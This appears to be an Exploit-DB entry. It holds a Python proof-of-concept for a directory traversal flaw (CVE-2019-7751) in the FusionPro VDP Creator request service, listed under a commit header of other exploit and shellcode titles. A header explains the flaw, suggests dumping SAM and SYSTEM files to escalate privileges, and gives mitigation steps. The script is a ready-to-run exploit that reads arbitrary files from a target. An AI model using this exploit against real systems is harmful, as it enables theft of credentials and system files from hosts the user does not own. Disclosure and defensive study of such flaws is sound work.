a37e3008e5
20 changes to exploits/shellcodes Microsoft Edge Chakra 1.11.4 - Read Permission via Type Confusion FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (1) STOPzilla AntiMalware 6.5.2.59 - Privilege Escalation (2) symphony CMS 2.3 - Multiple Vulnerabilities Symphony CMS 2.3 - Multiple Vulnerabilities Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities Raisecom XPON ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 - Remote Code Execution zzzphp CMS 1.6.1 - Cross-Site Request Forgery Splunk Enterprise 7.2.4 - Custom App RCE (Persistent Backdoor - Custom Binary Payload) Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit) OOP CMS BLOG 1.0 - Multiple SQL Injection OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery CMSsite 1.0 - Multiple Cross-Site Request Forgery elFinder 2.1.47 - Command Injection vulnerability in the PHP connector MarcomCentral FusionPro VDP Creator < 10.0 - Directory Traversal Bolt CMS 3.6.4 - Cross-Site Scripting Craft CMS 3.1.12 Pro - Cross-Site Scripting WordPress Plugin Cerber Security_ Antispam & Malware Scan 8.0 - Multiple Bypass Vulnerabilities Fiberhome AN5506-04-F RP2669 - Persistent Cross-Site Scripting Linux/x86 - NOT Encoder / Decoder - execve() /bin/sh Shellcode (44 bytes) Linux/x64 - Kill All Processes Shellcode (11 bytes) Linux/x86 - iptables -F Shellcode (43 bytes)
69 lines
No EOL
3.7 KiB
Python
Executable file
69 lines
No EOL
3.7 KiB
Python
Executable file
#!/usr/bin/env python
|
|
|
|
'''
|
|
# Exploit Title: MarcomCentral FusionPro VDP Creator < 10.0 - Directory Traversal
|
|
# Date: 02/11/2019
|
|
# Exploit Author: 0v3rride
|
|
# Vendor Homepage: https://marcom.com/
|
|
# Software Link: http://static.pti.com/downloads/FusionPro/Win32/FusionPro_9.3.36_Setup.exe
|
|
# Version: < 10.0 (version tested was 9.3)
|
|
# Executable/Service: FPProducerInternetServer.exe v9.03.0036.0000 (FusionPro Internet Request Handler)
|
|
# Tested on: Windows
|
|
# CVE : 2019-7751
|
|
|
|
Summary
|
|
A directory traversal and local file inclusion vulnerability in the FPProducerInternetServer.exe service/utility in Ricoh MarcomCentral's, formerly PTI Marketing, FusionPro VDP Creator allows a remote attacker to list or enumerate sensitive contents of files. Furthermore, this could allow for privilege escalation by dumping the local machine's SAM and SYSTEM database files, access to common files that contain plaintext credentials, and possibly remote code execution.
|
|
|
|
Attack Details
|
|
Exploiting this vulnerability is extremely simple. This could be done from a browser like Firefox. Simply navigate the affected host (e.g. <http://><host.domain.tld>:<port#>/Windows/System32/drivers/etc/hosts. No slash-dot-dots (/../..) are required, but you can add some if you want. Note that the slashes are forward slashes! By default, the service sets up a listener on port 8080.
|
|
|
|
Vendor Response
|
|
The response I've received from the vendor suggests that they care very little about the issue despite the criticality of this class of vulnerability. I'll quote the vendors response, "just delete it". Delete what exactly? Uninstall FusionPro VDP Creator? Or should one just delete FPProducerInternetServer.exe? The vendor also wasn't clear if any of the more current versions (10.0 and 10.1) are affected. All that was sent was, "since v9.3 there have been changes to this utility to restrict access to folders". It is possible that these versions are also susceptible to the issue as well based on the response from the vendor.
|
|
|
|
Resolution
|
|
Thankfully I found some better solutions other than "just delete it".
|
|
|
|
Open services.msc
|
|
Look for the service named FusionPro Internet Request Handler
|
|
Right-click and open the properties Window
|
|
Stop the service if it's running
|
|
Select disabled startup type
|
|
|
|
Or you could write a PowerShell script that does it automatically for you using the set-service and get-service cmdlets.
|
|
|
|
The nuclear option would be deleting the following executable, C:\Windows\SysWOW64\FPProducerInternetServer.exe. However, I don't know what affect this will have on the machine and FusionPro VDP Creator software. You could take a gamble and upgrade to the latest version .
|
|
'''
|
|
|
|
#######################
|
|
# PoC by: 0v3rride #
|
|
# DoC: February 2019 #
|
|
#######################
|
|
|
|
from requests import *
|
|
from sys import *;
|
|
|
|
|
|
def travel(fullurl):
|
|
r = get(fullurl);
|
|
print("-" * 80 + "\n[i]: Supplied URL: {}".format(fullurl))
|
|
print("-" * 80 + "\n[i]: Response Status Code: {}".format(r.status_code));
|
|
print("-" * 80 + "\n[i]: Response Headers:\n");
|
|
|
|
for hdr in r.headers:
|
|
print("{}: {}".format(hdr, r.headers[hdr]));
|
|
|
|
print("-" * 80 + "\n[i]: RAW DATA RETURNED FROM RESPONSE: \n{}".format(r.text));
|
|
|
|
|
|
if len(argv) < 3:
|
|
print("[i]: Usage -- ./poc <http(s)://FQDN or http(s)://<IP address>:<Port #> <file to query on the local machine that is affected (e.g. /windows/system32/drivers/etc/hosts)");
|
|
print("[i]: Path needs to start with a '/'.");
|
|
else:
|
|
try:
|
|
print("[i]: https://github.com/0v3rride/");
|
|
print("-" * 80 + "\n[!] Sending the request...");
|
|
travel(argv[1] + argv[2]);
|
|
except RequestException as re:
|
|
print(re.strerror);
|
|
finally:
|
|
print("-" * 80 + "\n[!] Done!"); |